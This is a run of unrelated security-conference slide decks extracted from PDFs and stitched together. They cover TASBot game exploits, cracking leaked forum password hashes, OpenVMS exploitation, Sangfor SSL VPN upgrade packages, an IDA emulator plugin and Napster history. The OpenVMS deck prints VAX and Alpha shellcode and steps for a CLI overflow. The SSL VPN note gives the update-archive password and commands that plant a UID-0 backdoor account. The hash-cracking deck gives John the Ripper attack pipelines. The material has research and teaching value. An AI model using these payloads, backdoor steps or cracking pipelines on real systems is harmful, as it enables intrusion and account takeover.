TAS's for AGDQ 2014 resulting in true making a new device ○ I combined a board with a R.O.B. using Legos and others named him TASBot Console verification devices over time ● 2011 ○ NESBot from micro500 - original Instructable, breadboard design ○ Droid64bot from SoulCal - first 3D console verification ● 2012 ○ N64 bot from micro500 ● 2013 ○ SNES and Genesis Arduino bot from GhostSonic ○ NES/SNES replay device from true - streaming capable and inexpensive but slow ○ Multireplay device from true - self-contained device, faster datatarates ● 2015 ○ Game Boy Player Player from endrift - used for GBA games on a GameCube ● 2016 ○ TASLink - FPGA based, expensive, but very flexible and fast ● Effectively like having total control; the game becomes a playground Arbitrary Code Execution / Exploit OK, what the heck did I just see? ● The tools that allow us to beat games quickly also allow us to glitch them ● Sometimes we can make games execute opcodes of our choosing ● Doing so requires delving deeper into TAS tools Advanced emulator tools: Memory searching, Lua scripting, disassembly ● Search tools combined with frame advance and savestates can be very powerful ● Find Mario's speed: Save a state, reset memory search, run forward ○ By eliminating values that don't increment you can find the correct address ● Disassembly of RAM or ROM can tell you what will happen if it is triggered ○ Dissassemblers range in ability and level of integration but are very helpful Binary Ninja: Adding Reverse Engineering to the TASing toolbelt ● Recent tool focused on Reverse Engineering like IDA but more flexible ● Graph view visual representation with low level IL and annotation support ● Python scripting comes with NES support and ability to add new mappers ● Still in beta, future versions will add advanced searching and multi-module UI From boot to ending in 16 frames by changing input every other poll, eventually executing the controller addresses as opcodes and jumping to the end credits AGDQ 2016: Brain Age SGDQ 2016 SMB1+2+3+Lost Levels simultaneously Visual memory editor The tools and terminology in making a TAS translate to security research ● Vernacular differences abound, but the principles are the same ○ Savestate = VM snapshot ○ Frame advance = VM CPU tick ○ Glitch = Vulnerability ○ Total Control = Pwned / Arbitrary Control Exploit / root exploit (if consoles had such a concept) ● Learning how to make a TAS can be a fun and educational experience Anatomy of a complex Arbitrary Code Execution ● Pokemon Red can be compromised in a very unique way ● Values in the controller register treated as opcodes allow taking over SGB ● Once full access to SNES is gained, anything is possible References, thanks, and bibliography - http://tasvideos.org/TASBot.html - history of TASBot / historical information on how I organized teams of people to participate at Games Done Quick events, ultimately helping raise over $234k for charity and presenting in front of nearly 200,000 live viewers - http://arstechnica.com/gaming/2014/01/how-an-emulator-fueled-robot-reprogrammed-super-mario-world-on-the-fly/ - This is the first presentation I gave at a Games Done Quick event; this initial exploit caused TASBot to become a known name in the community - http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ - This was quite possibly the most difficult (and arguably impressive) feat to date - https://www.alchemistowl.org/pocorgtfo/pocorgtfo10.pdf page 6 - Pokemon Plays Twitch: This journal article written by myself as well as the author of the lsnes emulator and the author of the chat payload - http://arstechnica.com/gaming/2016/07/how-to-beat-super-mario-bros-3-in-less-than-a-second/ - Details on the 16-frame SMB3 completion The antics described in this talk would not have been possible without the help of a very, very long list of talented TAS’ers and hackers both from TASVideos.org and elsewhere, including: micro500 - co-presenter, Ilari - Emulator coder, p4plus2 - payload author, Masterjun - TAS glitchfinder, true - hardware dev, TheAxeMan - Python script support, ais523 - Mathematician, pretty much everyone in #tasvideos, and a long list of others I’m forgetting as I always seem to do whenever I’m thanking people. Thanks also goes to the staff of Games Done Quick for organizing an awesome event and giving us a reason to do all the crazy things we do. Questions? Presented and written by Allan Cecil (AKA dwangoAC)
pdf
Cracking 400,000 Passwords Matt Weir Sudhir Aggarwal Florida State University Special Thanks: Dr. Sudhir Aggarwal Professor Breno de Medeiros National Institute of Justice National White Collar Crime Center My Research Assist Law Enforcement Develop better ways to model how people actually create passwords Investigate how we can make passwords more secure FORENSICS CRACKING PASSWORDS I’M CRACKING PASSWORDS What I’m going to try and avoid focusing on... Tools Trivia For Tools and Trivia... My Research Blog - http://www.reusablesec.blogspot.com Tools Page - http://sites.google.com/site/reusablesec/ And Certainly Not... OMG Passwords Suck! Users are stupid! We’re all doomed! PW CRACKER The Main Goal What does a password cracking session look like? What steps go into cracking a password list? The Plan 1.Password Cracking Basics, (for the CISSPs out there) 2.Cracking the phpbb.com list 3.Cracking the webhostingtalk.com list 4.Breakout Room: Questions + Dealing with TrueCrypt, pass-phrases and non-standard passwords Password Cracking Basics Two Types of Password Cracking Online - The system is still operational - You may only be allowed a few guesses Offline - You grabbed the password hash - Computer forensics setting Cracking Passwords Step 1) Create a password guess Cracking Passwords Step 1) Create a password guess password123 Cracking Passwords password123 Step 2) Hash the Guess Cracking Passwords Step 2) Hash the Guess 52F8A73082B1290 Cracking Passwords 52F8A73082B1290 Step 3) Compare it against the target hash Cracking Passwords 52F8A73082B1290 Step 3) Compare it against the target hash 82503CA693453D1 = Cracking Passwords 52F8A73082B1290 Step 3) Compare it against the target hash 82503CA693453D1 = Cracking Passwords Step 1 ... again) Make another guess monkey123 Password Salts Salts are a value added to a password to make it harder to crack For example, you could add the username - MD5(“bob”+”defcon”) - 09f20200fe8131d1114581e916381d04 - MD5(“tom”+”defcon”) - b19263f7cadf7a03ee644ad60591a91c In real life, use a RANDOM value Password Salts (cont.) Important Points - Not secret - User does not need to know it. - Should be unique per user - If the attacker is only targeting one user, it only prevents against hash lookup attacks Now on to the Cracking! Original Hardware Setup - 2.4 GHz Core Duo - 3 Gigs of Ram - NVIDEA GeForce 8800 GTS Then the Power-bill Arrived... Our power bill had gone up by about 75% There were other causes as well but that’s a hard conversation to have... Picture of Power Bill Removed to Avoid Further Annoying My Roommate, (the power bill is in his name) Current Hardware Setup The Phpbb.com List Development site for the phpbb forum software Originally Hacked Jan 14th 2009 List was posted online early February Details About the List Contained 259k unsalted MD5 password hashes Also had 83k salted hashes using the phpbb3 hashing algorithm We only attacked the MD5 hashes The Hacker’s Attack The hacker had attempted to crack 117k of the password list Used an online web-cracker over a one to two week period Cracked 28,635 passwords, aka 24% of them Comparing Online Password Crackers www.hashkiller.com Most online password crackers crack around 20-40% of passwords submitted to them MD5-utils will submit password hashes to many of the online sites http://sourceforge.net/projects/md5-utils/ Existing Password Crackers John the Ripper Cain & Able L0phtcrack Access Data’s PRTK John the Ripper Source-code is available If you can think of it, it’s probably been done in JtR My Favorite Option in JtR -STDIN Make Sure You Check For Updates... Older versions of JtR choke when passed a large password list There was a patch, but I didn’t realize it until later... Time it took to crack, (even with JtR problems) “4 hours” - 38% of the passwords cracked 1 week - 62% of the passwords cracked 1 month + 1 week - 89% of the passwords cracked Currently - 95% of the total passwords cracked - 93% of the unique MD5 hashes Other Results Brandon Enright - 95% of the MD5 hashes cracked - He cracked 2,525 unique hashes that I missed - I’ve cracked 2,677 unique hashes that he missed Some Quick Statistics - Average Length: 7.2 characters long - Only 6% of them contained an UPPERCASE letter - Only 1% of them contained a special character! - 51% contained only lowercase letters ✴ Note: Does not include the 5% of the passwords we have not cracked - duh Limited Resources Unless we’re attacking LANMAN, we’re limited in the time we can spend Therefore, we have to choose between different attack strategies We can’t just try everything When you just don’t have the time to mess around Creating Strong Passwords It’s “easy” for an individual to create a strong password - Just do something unique It’s much harder to get everyone to be unique Dictionary Attacks Take a dictionary word Mangle it to your heart’s content Reasons A Dictionary Attack can Fail You didn’t try the right dictionary word You didn’t try the right word mangling rule Choosing an Input Dictionary ... or 40 People tend to go a bit overboard collecting input dictionaries After a while it starts to resemble brute force If No Password Creation Rules Were Enforced Larger input dictionaries are better Check out a wordlist made from every wiki article, at Sebastien Raveau’s blog - http://blog.sebastien.raveau.name/ When there was a Password Creation Policy Smaller more targeted wordlists are better The best are based on previously cracked passwords Word Mangling Rules Learn new ones from previously cracked passwords I’ve made some of my JtR rules available for download Minga also posted some online - http://marc.info/?l=john-users&m=123820850908275&w=2 - http://marc.info/?l=john-users&m=124053430313891&w=2 Probabilistic Cracking Some words are more likely than others - password, monkey, football Some mangling rules are more likely than others - 123, 007, $$$, Capitalize the first letter Which Should We Try First? A common word with an uncommon mangling rule? - 13!password13! An uncommon word with a common mangling rule? - zebra123 Our Probabilistic Cracker Assigns a probability to just about everything - dictionary words - word mangling rules - specific replacements, aka two digits go to “12” Time for a Quick Demo Brute Force Like most things, really powerful if you’re not stupid about it Letter Frequency Analysis The most basic brute- force optimization Very useful for figuring out what letters/ symbols not to try Markov Models Conditional probability of letters Brute forces “human like” words Used in JtR’s Incremental mode Targeted Brute Force People tend to capitalize the first letter They generally put numbers at the end of passwords For this case, people liked using the words “php” or “phpbb” in their passwords Check out the new version of the tool ‘Crunch’ - Check the programming forum on the remote-exploit.com An Example: ./john -incremental=Alpha -stdout -session=t1 | An Example: ./john -incremental=Alpha -stdout -session=t1 | Create guesses using JtR’s Markov models. bara sandy shanda sandall starless dog bony bool boon stark start stack stace steve stevy stech steck sanda marine maring marian mariah marley marler An Example: | ./middleChild -cap first -append s1d1 | An Example: | ./middleChild -cap first -append s1d1 | Capitalize the first letter Add a special character and digit to the end Bara!1 Bara!2 Bara!0 Bara!3 Bara!4 ........... Sandy!1 Sandy!2 Sandy!0 Sandy!3 Sandy!4 ........... Shanda!1 Shanda!2 Shanda!0 Shanda!3 Shanda!4 ............ Sandall!1 Sandall!2 Sandall!0 Sandall!3 Sandall!4 ............. An Example: | ./john -stdin -hash=raw-MD5 ./hashes.txt An Example: | ./john -stdin -hash=raw-MD5 ./hashes.txt Now pipe everything back into JtR so we can actually try to crack the hashes Cracking the Web Hosting Talk List Originally hacked March 21st, 2009 Over 200k salted hashes were stolen Don’t Worry Though... “Passwords are hashed with salt. It would be an unprecedented event to reverse engineer our passwords. I change my password periodically though, so maybe today is a good day for that.” - SoftWareRevue iNET Community Coordinator Oh, and.... “Absolutely no credit card or PayPal data was compromised.” - SoftWareRevue iNET Community Coordinator Stuff Happens... Web Hosting Talk was compromised again by the same hacker on April 7th The hacker posted 202k password hashes + 2,218 credit card numbers I want to make this clear People get hacked. I’m not blaming Web Hosting Talk for that. Getting someone out of your system once they compromised it is also a tough problem. What I do have a problem with is Web Hosting Talk downplaying the risks that their users faced One Interesting Fact Number of users who changed their password after the first attack - 1348 - That’s less than 1% of the total - 0.6% to be exact So How Unbreakable is This Hash? First we need to figure out what the forum software is Google “Web Hosting Talk Forum Software” “Yes. It's vBulletin.” - SoftWareRevue iNET Community Coordinator What Hashing Algorithm does vBulletin use? Google to the rescue again... MD5(MD5(Password).salt) So How Should We Test It? 1109 People used the password “password” The Hash is blocked to protect the users But what about the Salt It’s a major problem Since each user’s salt is different, we have hash each password guess for each user Compare it to the PhpBB attack - Assume you spent 1 hour attacking the PhpBB list - It would take you 200,000 hours to to run the same attack on the Web Hosting Talk list That Being Said I’ve still managed to crack 34% of the passwords A majority of them were cracked using a list of previously cracked passwords from other sites, (no word mangling rules). Did you know people use the same password on more than one site? The Salt Doesn’t Protect Individual Users Don’t post your hash online claiming it is unbreakable It’s possible to set up attacks to only target people with the words “admin” or “webmaster” in their e- mail address Questions/Comments? My Research Blog - http://www.reusablesec.blogspot.com Tools Page - http://sites.google.com/site/reusablesec/ E-Mail Address - [email protected] Dealing with Other Types of Passwords ✴ Note: The following slides were not covered in the actual talk due to time constraints Cracking Pass-Phrases The main problem is we don’t have many examples of pass-phrases One approach 1.Use an input dictionary of phrases - !!It’s fun to try the impossible! Cracking Pass-Phrases The main problem is we don’t have many examples of pass-phrases One approach 1.Use an input dictionary of phrases - !!ifttti! Cracking Pass-Phrases 2.Use a Mad Libs Approach - Proper-Noun verbs a Noun - Proper-Noun loves Proper-Noun Cracking Graphical Passwords People sometimes use ASCII art for their passwords ‣ /><{{{{">     -- fish ‣ ///\oo/\\\   -- spider ‣ d[ o_0 ]b     -- robot ‣ (^_-) ~ ~ <===3 -- rocket ship?! Solution.... I’ve created some input dictionaries of ASCII art to use Probably the largest collection of NSFW ASCII art on the internet... Targeted Attacks Assign higher probabilities to certain replacements - Kids names - Birth Years - Zip Codes Check out CUPP from the remote-exploit group Perl Monks Statistics Disclosed in the ZF05 Data-set this Wednesday - Average Length: Also 7.2 characters long - 30% of them contained an UPPERCASE letter - Close to 8% of them contained a special character - 40% of them contained only lowercase letters
pdf
Hacking OpenVMS Claes Nyberg Christer Öberg James Tusini Some facts about OpenVMS An Operating system with the following feature Multi-user / Multi-processing Virtual memory Real time processing Transaction processing History of ownership DIGITAL (1978 – 1998) COMPAQ (1998 – 2001) HP (2001 - Today) Some facts about OpenVMS VAX/VMS, VMS, OpenVMS VMS is not UNIX, Windows NT is VMS? Runs on: VAX Alpha Itanium Secure and reliable – more than OSX :) 5 Good reasons to hack OpenVMS Nobody attack VMS systems anymore Runs critical operations Financial systems (banks, stock exchanges) Infrastructure system (railways, electric) Healthcare (NHS, NBS, VA) Manufacturing (Intel) Education Many more.. 5 Good reasons to hack OpenVMS Certified by DoD for its security Challenging Fun Play with it online at deathrow.vistech.net Access to both Alpha and VAX systems Encourages security research Small decnet fafnet.dyndns.org VAX only testdrive.hp.com Access to Itanium Getting your own system Software Hobbyist program – openvmshobbyist.com $30 + local group subscription $100 (UK) Emulators Personal Alpha (emulatorsinternational.com) Free version available With limited functionality Runs on Windows only Getting your own system Emulators Charon Emulates VAX systems Demo version available But only runs on OpenVMS/Itanium Simh Emulates VAX Free Runs on most OS Size does matter... User Environment X CDE DCL – Digital Command Language Default “shell” / scripting language Case insensitive Requires commands to be defined explicitly CDL (command definition language Foreign commands OpenVMS Security Incidents Worms WANK / Father Christmas Propagated through DECnet Relied on weak passwords Not technically advanced compared to Morris Vulnerabilities most reports are pre-1993 Limited disclosure (CERT) Textfiles.com is probably the best source for vuln details OpenVMS Security OpenVMS Survived Defcon9 CTF Something their users seems immensely proud of.. “fine grained controls” You don't need root for everything When is the last time you saw a VMS exploit? Vulnerability graph Old school VMS hacking Let's try the obvious first Default accounts, weak passwords and brute force Default password hash algorithm SYSTEM, FIELDS, etc Important files VMSIMAGES.DAT Determines what privileges some programs runs with USERRIGHTS.DAT / SYSUAF.DAT Not readable, binary format password file LOGIN.COM The WASD Problem Open source web server written for OpenVMS Initial release full of security holes Full directory traversal ACL bypass Dangerous default / sample CGI scripts Old versions still out there Directory traversal on VMS http://web/-/*.* Enumerating users The usual stuff SMTP VRFY/EXPN Finger SYSTEM,FIELD etc (default accounts) RIGHTLIST.DAT / SYSUAF.DAT SYS$IDTOASC OpenVMS Protection UIC – User Identification Code USER / GROUP ID Pair Privileges SYSPRV,MOUT,OPER etc ACL OpenVMS Priviledges About 40 privileges MOUNT, OPER, CHEXEC, BYPASS, etc Default usually are TMPMBX, NETMBX BYPASS Able to bypass security restrictions :) Nice idea but... SYSPRV + modify SYSUAF.DAT == PWNED BYPASS == PWNED IMPERSONATE == PWNED File system Logical names Disk, directory or file SYS$SYSDEVICE, SYS$LOGIN, SYS$SYSTEM etc RMS – Record Management Services Record based indexed files (“databases”) File versions file.txt;1 , file.txt;2, file.txt:3 etc SYS$SYSROOT:[SYSEXE]TYPE.EXE File system security Files are owned by a user/group Four permissions Read, Write, Execute and Delete Applied to four groups System, Owner, Group and World Privileges BYPASS, READALL, SYSPRV, GRPPRV ACL Fine grained control File permission example DEMO Finger Client Bug #1 20 years after THE WORM, FINGER... Runs with SYSPRV Follow links Opens and displays content of .plan and .profile DEMO Finger client bug #2 The link bug was funny But “show me the root prompt!” Need something different for that.. Chances are overflows has been killed... Format string vuln? Oh yes .plan and .project again.. Finger misbehaving.. VAX architecture VAX – Virtual Address eXtension 32bit platform Executable stack Four privileges modes VMS uses all of them Quintessential CISC! Still lots of programming docs online: http://h71000.www7.hp.com/doc/73final/4515/4515 ro_index.html Memory layout Virtual memory System space / kernel Shared by all processes (0x80000000 – 0xFFFFFFFF) P1 space / control region DCL, stacks, symbol table etc (0x40000000 – 0x7FFFFFFF) P0 space / program region Programs (0x0 – 0x3FFFFFFF) Shellcode development environmen OpenVMS problems.. For UNIX users a very strange and uncomfortable environment to work in! Tools leaves a lot to be desired.. Solution Install NetBSD in simh emulator Use tools you are familiar with The time it takes to set NetBSD/simh up is worth the investment Developing VAX shellcode (libc) Calling standard Push arguments in reverse order Calls function address Calls instruction saves registers according to callee's mask, pushes PSW register and return etc Register r0/r1 holds function return value Works but... What if no useful libc function is available? System services.. VAX/VMS libc shellcode example unsigned char shellcode[] = /* calls system() */ "\x01\x01" /* Procedure Entry Mask */ "\x9f\xaf\x16" /* pushab <my_cmd> */ "\xd0\x6e\x50" /* movl (sp),r0 */ /*NULL terminate command*/ "\x94\xa0\x03" /* clrb 0x3(r0) */ "\xd0\x8f\xff\x58\x3d\x05\x50" /* movl $0x053d58ff,r0 */ / *do right shift to clear MSB */ "\x78\x8f\xf8\x50\x50" /* ashl $0xf8,r0,r0 */ "\xfb\x01\x60" /* calls $0x1,(r0) */ "\x04" /* ret */ /* <my_cmd> */ "DIR" /* command */ "\x3b"; /* Byte that will be nulled * Developing VAX shellcode (system services) Calling system services Services implemented at various levels Kernel, Executable, Supervisor Push arguments in reverse order onto the stack Call function that execute [chmk|chme|chms] <number> instruction A drawback with this approach is size.. Functions usually take lots of arguments and usually “string descriptors” == big shellcode Tips that makes things a bit easier Exploit symbols.. They are executable They are “string descriptors” And as such they can contain NULL bytes etc Finding the right service number.. Debugger can break on instructions Write test program in C Break on [chmk|chms|chme] instructions This does not work on alpha! :( Interesting system services CREPRC – Create process SETUAI – Modify user record GRANTID – grant ID's to processes Lots of others... Read HP documentation on OpenVMS system services.. Interesting note.. Familiarizing myself with VAX I tried to exploit strcpy(buf,argv[1]) I knew hit the return address with the right addr But it kept crashing without even reaching the code PSW Contains a byte defined as MBZ (must be zero) Is saved below the saved return address.. So what did Morris do? What did Morris do? Exploited a stack overflow in fingerd on VAX But how? Turns out he didn't have to worry about NULL bytes Bug was triggered through gets() Conclusion A lot of can probably not be exploited.. But still plenty of special cases like gets(), pointers, etc and other bug classes like fmt strings to exploit. Finger client bug #2 exploit notes Straight forward fmt bug .plan holds fmt string and shellcode Shellcode uses SETUAF() to modify user record fo my users Not stealthy, will be logged on console Username is hardcored Yes I know the exploit sucks But give me a break I wrote the entire thing in VAX ASM! DEMO Alpha architecture 64 bit architecture RISC Lots of programming information available Surprisingly msdn is one of the best sources Instruction cache PALCode Alpha / VMS shellcode C calling standard overly complex Document 100s of pages long describing it Not covered here :) Non-exec stack But code in symbols can be executed Works well for local exploits but could be a problem in remote exploits For tight executable buffers copy and return to symbols? Instruction cache Must be flushed in self-modifying code Calling system services on Alpha / VMS Arguments passed in r16 - r21 (a0 – a5) Additional args passed on stack Argument count in r25 System service number in r0 Return value in r0 chme/chmk/chms instruction issues These instructions all contain NULL bytes And so does imb instruction.. Development environment Personal alpha Unfortunately personal alpha does not boot BSD Linux? Build GNU binutils with Alpha target (*f)()=shellcode; Does not work on Alpha/OpenVMS Function pointer points to function descriptor See OpenVMS calling standard for details. GetPC() code Slightly tricky.. JMP / CALL equivalent A short, NULL free jmp forward not possible? PC register can not be directly read :( Constructing all the data required for a service call on the stack is possible using a series of stores... But awkward to say the least. Shellcoders handbook had a nice solution Much shorter than our monster ;) Shellcoders handbook solution main: .frame $sp, 0, $26 lda $r16, -1000($r30) back: bis $r31, 0x86, $r17 stl $r17, -4($r16) bsr $r16, back OpenVMS CLI Overflow Failure to handle crafted commandlines Verified on OpenVMS Alpha 8.3 default install Total control of PC OpenVMS CLI Overflow 1) Type 511 characters at the CLI prompt 2) Type the UP-ARROW three times 3) Type the return address 4) Wait (don't hit return, it will modify the ret-addy) OpenVMS CLI Overflow OpenVMS CLI Overflow OpenVMS CLI Overflow Multiple targets INSTALL (CMKRNL PRMGBL SYSGBL SHMEM AUDIT) TCPIP$* (various privileges) TELNET (OPER) And some more ... pipe install list/summary | search sys$pipe prv OpenVMS Shellcode Injection Where do we store shellcode? The commandline used in the overflow can be executed but suffer from heavy input restrictions. We need a better location to run something useful To speed up testing I wrote a telnet client that triggers the bug and simplify testing of shellcode OpenVMS Shellcode Injection Populate target with data and search in core-dump argv[0] and environment before execve logicals symbols THIS IS NOT UNIX, I keep forgetting that ... executing code from getenv() works, but it is a copy from a non executable region OpenVMS – Reading Core Dumps $ analyze/proc install.dmp DBG> eval r21 639407 DBG> dump 639408:63941 597326176 595320644 662667236 .'D#`y.# 000000000009CB0 DBG>e/i 639407 639408: LDAH R27,#X7FE4(R31) OpenVMS – Process Layout $ analyze/system SDA> clue process/layout [...] CLI Data 00000000.7AE3C000 00000000.7AE9A000 0005E000 CLI Command Tables 00000000.7AE9A000 00000000.7AF04800 0006A800 CLI Image 00000000.7AF08000 00000000.7AFDA600 000D2600 [...] Back to the debugger and dump CLI data DBG> dump/hex 2061746176:2062131200 (Note that dump takes decimal input) OpenVMS – Searching Memory Found my string (with NULL's!) in CLI Data But it could not be executed (Access violation) Ok, let's fiddle with input restrictions and try to make a shellcode that copy my string to an executable location OpenVMS – Searching Memory Some terminal settings helped to remove a few restrictions $ set nocontrol =t $ set terminal /eightbit $ set terminal /nointerrupt OpenVMS Alpha – copy.S .text .align 4 .globl main .ent main # $r26 - pc # $r27 - Source address (code ends with a NULL quad-word) # $r28 - Destination address # $r25 - Return address # $r7 - Temp main: # Source address + 31000 lda $r27, 0x7ae45cf8 # Destination address (main + 72 + 31000) lda $r28, 31072($r26) # Return address lda $r25, -31000($r28) # Copy all quad words copy: ldq $r7, -31000($r27) stq $r7, -31000($r28) # Increase source address lda $r27, 30000($r27) lda $r27, -29992($r27) # Increase destination address lda $r28, 30000($r28) lda $r28, -29992($r28) # Copy again if source data was not zero bne $r7, copy # Return/Jump to the copyed code ret ($r25), 1 .end main OpenVMS Alpha – Global Logical SDA reveals system global logical which can be executed! SDA> clue process/logical Process Logical Names: ---------------------- LNMB LNMX Logical and Equivalence Name -------- -------- -------------------------------- 7FF56220 7FF56250 "SYS$COMMAND" = "_ALPHA1$TNA91:" 7FF564C0 7FF564F0 "SYS$ERROR" = "_ALPHA1$TNA91:" 7FF56780 7FF567A8 "SYS$DISK" = "SYS$SYSROOT:" 7FF565E0 7FF56610 "SHELLCODE" = "CCCCCCCC...................CCCCCCCC" 7FF562D0 7FF56300 "SYS$OUTPUT" = "_ALPHA1$TNA91:" 7FF580D0 7FF58100 "SYS$OUTPUT" = "_ALPHA1$TNA91:" 7FF56520 7FF56550 "SYS$INPUT" = "_ALPHA1$TNA91:" 7FF56380 7FF563A8 "TT" = "_TNA91:" OpenVMS Alpha CLI Overflow Demo
pdf
sslvpn tips记录 升级包密码获取 众所周知,sslvpn的补丁包其实是个压缩包,diff补丁包是需要密码的。 先放一个包结构: 32位原始压缩包md5值|00|原始压缩包 众所周知,皮卡丘升级是依靠 SANGFOR_Updater 来进行升级的,那么升级包密码就在这个里面二话不说 ida启动,没加壳,很容易就找到了 压缩包结构 压缩包分为两类 cssu 合集类 ssu单包类 ssu 包结构结构 32位原始压缩包md5值|00|原始压缩包 目录结构 cssu包结构 ssu组合+upgrade.conf(升级配置文件) sslvpn443 端口的一些TIPS /sftmpfs/etc/htdocs/com/ 但是在此目录下写入文件重启后消失,但如果在这个位 置 /sf/htdocsback/com/ 写入,重启后文件会覆盖到 /sftmpfs/etc/htdocs/com/ (最新版本下 此目 录是无法PHP的解析的) 没啥意义的后台代码执行(修了) 没啥意义的洞,只是diff代码时需要root权限时有用,而且最新版本还修了 ├── app1   //两次gzip压缩的升级包文件 ├── apppre //可能是升级检测脚本 ├── appsh1 //可能是升级主脚本 ├── appversion ├── cfgversion ├── package.conf └── readme.txt //说明文件 前置条件: 51111端口开放 管理员密码 利用 解压压缩包 在appsh1中添加用户添加命令 这里注意需要分来写先加用户再加密码 压缩回去,密码为 greatsinfor ,修改后缀为ssu,计算md5值, 按照如下格式填充 32位原始压缩包 md5值|00|原始压缩包。 useradd -o -u 0 backdoor echo "123COM123" | passwd backdoor --stdin 执行完成 登陆
pdf
Sk3wlDbg: Emulating all (well many) of the things with Ida Chris Eagle Sk3wl 0f r00t Disclaimer – Everything I say today is my own opinion and not necessarily the opinion of my employer Who am I? – Senior lecturer of computer science – Computer security researcher – Reverse engineer – Inveterate Capture the Flag player – Performer of stupid IDA tricks Introduction – CPU emulators are useful in a variety of cases • System design before hardware is available • Running code from obsolete platforms • Studying code without need to stand up full hardware system – Some emulators go well beyond CPU to emulate full system including hardware Goals – Make lightweight CPU emulator available in a static reverse engineering context – Temporarily step away from reading a disassembly to confirm behavior – Incorporate results of a computation back into a static analysis End result - Sk3wlDbg – Lightweight emulator integrated into a disassembler • Disassembler – IDA Pro • Emulator – Unicorn Engine IDA Pro – Commercial disassembler – Supports many processor families – Integrated debugger supports x86 and ARM targets – Decompiler Unicorn Engine – Announced at BlackHat USA 2015 – Same people that did Capstone – http://www.unicorn-engine.org/ – Emulator framework based on QEMU – Supports x86, x86-64, ARM, ARM64, Sparc, MIPS, M68k – Related projects • http://www.unicorn-engine.org/showcase/ Some other emulators – Bochs • “Bochs is a highly portable open source IA-32 (x86) PC emulator written in C++” • http://bochs.sourceforge.net/ – QEMU • “QEMU is a generic and open source machine emulator and virtualizer.” • http://www.qemu.org Emulators and IDA Pro – 2003 ida-x86emu • For deobfuscating x86 binaries – 2009 Hex-Rays adds Bochs “debugger” module – 2014 msp430 for use with microcorruption • https://microcorruption.com – 2016 Unicorn integration • Because why not Rationale – Looked at QEMU and Bochs briefly when writing ida-x86emu • Much too heavy weight for what I wanted • Too lazy to dig into the code to learn them and strip down – The Unicorn people did all the heavy lifting – Brings more architecture to the table Implementation – two choices – Emulate over the IDA database itself using the database as the backing memory • ida-x86emu does this • Forces changes on the database – NO UNDO – Leverage the IDA plugin architecture to build a debugger module • IDA’s Bochs debugger module does this Result – Many unhappy dev hours, unhappy wife – Mostly undocumented IDA plugin interface VS – Mostly untested emulator framework – BUT… It’s Alive! – Sub-classed IDA debugger_t for all supported Unicorn CPU types – Simple ELF and PE loaders map file into Unicorn – Fallback loader just copies IDA sections into Unicorn • Integration issues – IDA remains a 32-bit executable – Can only interface w/ 32-bit libraries – Unicorn doesn’t have great support for 32-bit builds – Unicorn’s underlying QEMU code depends on glib • Complicates use on Windows Demo – Probably not a good idea very alpha code – Bugs could be Unicorn’s or they could be mine The way forward – Better user interface when launching emulator – Extensible hooking for library functions and system calls – Option to load shared libraries into emulation along with executable loaded in IDA • Where to get it – https://github.com/cseagle/sk3wldbg Questions ??? – Contact info • Email: cseagle @ gmail . com • Twitter: @sk3wl
pdf
Copyright 2003 - SunStorm Security Group Slide Number 1 of 64 After Napster Assessing the Threats, Value and Survivability of Peer-to-Peer Networks Copyright 2003 - SunStorm Security Group Slide Number 2 of 64 Napster: The File Sharing Invasion Copyright 2003 - SunStorm Security Group Slide Number 3 of 64 Napster Overview • Facts and figures about Napster • What happened to Napster? Copyright 2003 - SunStorm Security Group Slide Number 4 of 64 Napster Subscription Base Can 98 Million Users All be Wrong? •The Numbers Game • · 18,000,000 people have broadband at home now (IBID) • · 34% of U.S. population regularly streams music today (Arbitron/Edison Media) • · Napster enlisted more users in 1 year than AOL did in 15 years. (Arbitron/Edison Media) • · 34% of U.S. population regularly streams music today (Arbitron/Edison Media) • · 40% of U.S. population will be listening to Internet radio by 2003 (Webnoize) • · Digital downloads will grow from 3% of online music sales in 2001 to 30% in 2006 (Jupiter Media Metrix) Copyright 2003 - SunStorm Security Group Slide Number 5 of 64 Napster Subscription Base Can 98 Million Users All be Wrong? •The Napster Server Architecture Napster enlisted and served more users in 1 year than AOL did in 15 years. (Arbitron/Edison Media) 118 servers served the entire globe. Copyright 2003 - SunStorm Security Group Slide Number 6 of 64 From Doom to Tombs to Tunes Online Gaming and MMOG to Music • In the beginning there were games • The global demand for music – Economic forces – The recording industry – RIAA and other interested parties – DMCA and copyright law Copyright 2003 - SunStorm Security Group Slide Number 7 of 64 It’s the Primal App, Stupid • Napster as a Killer App • Why some peer-to-peer systems fail • How will peer-to-peer survive the attacks on filesharing and privacy? Copyright 2003 - SunStorm Security Group Slide Number 8 of 64 Building Secure and Successful Peer-to-Peer Systems • If I build it, will they come? • If they come, will I be able to handle them? • If I can handle it, will I be arrested? Copyright 2003 - SunStorm Security Group Slide Number 9 of 64 The Three Laws of Survivability in Fractal Networks • Let the system architecture do the heavy lifting • If you believe in it, and build it right, let it go • How to manage chaos and herding cats Copyright 2003 - SunStorm Security Group Slide Number 10 of 64 Napster’s Paradox to the Three Laws of Thermodynamics • You Can Win • You can Break Even • And you Never Want to Get Out of the Game Copyright 2003 - SunStorm Security Group Slide Number 11 of 64 Napster Nosferatu • The Architecture of the Second Coming of Napster – Fingerprinting – Subscribers – Royalties Copyright 2003 - SunStorm Security Group Slide Number 12 of 64 Do You Want to Know a Secret? Napster and Shawn Fanning’s Vision • Napster file-sharing utility created in 1998 • Napster was written to share files with friends on campus • Popularity of the Napster service and software grew exponentially Copyright 2003 - SunStorm Security Group Slide Number 13 of 64 Do You Want to Know a Secret? Napster and Shawn Fanning’s Vision • Napster file-sharing utility created in 1998 • Napster was written to share files with friends on campus • Popularity of the Napster service and software grew exponentially Copyright 2003 - SunStorm Security Group Slide Number 14 of 64 From Me to You June 1, 1999: Napster begins operations, allowing people to swap music files. August, 1999: Shawn’s uncle, John Fanning, invested initial seed money Napster appoints the first CEO, Eileen Richardson First negotiations with major record companies fall through December 7, 1999: RIAA sues on the basis of copyright infringement asking for damages of $100,000 each time a song is copied. March, 2000: Scores of universities ban Napster because heavy student use is overwhelming their computer systems. Students circulate online petitions, urging administrators to lift their Napster bans. Copyright 2003 - SunStorm Security Group Slide Number 15 of 64 300,000 Fans Can’t Be Wrong APR. 13, 2000: Rock band Metallica sues Napster for copyright infringement. MAY 9, 2000: Napster, in order to show concern over copyright infringements, removes over 300,000 members from its service for downloading Metallica songs. Copyright 2003 - SunStorm Security Group Slide Number 16 of 64 With A Little Help From My Friends May 21, 2000: Hummer Winblad invests $15 million in Napster. Copyright 2003 - SunStorm Security Group Slide Number 17 of 64 HELP! The RIAA Wars Begin 